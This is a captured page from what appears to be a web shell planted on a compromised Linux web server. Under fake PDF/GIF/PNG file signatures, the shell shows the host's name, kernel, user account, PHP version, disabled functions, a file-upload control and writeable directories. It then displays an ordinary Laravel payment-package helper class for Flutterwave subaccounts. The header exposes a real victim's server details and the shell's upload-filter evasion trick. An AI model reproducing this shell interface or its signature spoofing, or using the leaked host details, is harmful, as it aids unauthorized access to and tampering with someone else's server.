%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/admin1/vendor/kingflamez/laravelrave/src/Helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/admin1/vendor/kingflamez/laravelrave/src/Helpers/Subaccount.php
<?php

namespace KingFlamez\Rave\Helpers;

use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Http;

/**
 * Flutterwave's Rave payment laravel package
 * @author Oluwole Adebiyi - Flamez <flamekeed@gmail.com>
 * @version 3
 **/
class Subaccount
{

    protected $publicKey;
    protected $secretKey;
    protected $baseUrl;

    /**
     * Construct
     */
    function __construct(String $publicKey, String $secretKey, String $baseUrl)
    {

        $this->publicKey = $publicKey;
        $this->secretKey = $secretKey;
        $this->baseUrl = $baseUrl;
    }


    /**
     * Create a subaccount
     * @param $data
     * @return object
     */
    public function create(array $data)
    {
        $subaccount = Http::withToken($this->secretKey)->post(
            $this->baseUrl . '/subaccounts',
            $data
        )->json();

        return $subaccount;
    }


    /**
     * Update a subaccount
     * @param $id, $data
     * @return object
     */
    public function update($id, array $data)
    {
        $subaccount = Http::withToken($this->secretKey)->put(
            $this->baseUrl . '/subaccounts/'.$id,
            $data
        )->json();

        return $subaccount;
    }




    /**
     * Get All Subaccounts
     * @param $data
     * @return object
     */
    public function fetchAll(array $data = [])
    {
        $subaccounts = Http::withToken($this->secretKey)->get(
            $this->baseUrl . '/subaccounts',
            $data
        )->json();

        return $subaccounts;
    }




    /**
     * Get A subaccount
     * @param $id
     * @return object
     */
    public function fetch($id)
    {
        $subaccount = Http::withToken($this->secretKey)->get(
            $this->baseUrl . '/subaccounts/' . $id
        )->json();

        return $subaccount;
    }




    /**
     * Delete A subaccount
     * @param $id
     * @return object
     */
    public function destroy($id)
    {
        $subaccount = Http::withToken($this->secretKey)->delete(
            $this->baseUrl . '/subaccounts/' . $id
        )->json();

        return $subaccount;
    }
}

VaKeR 2022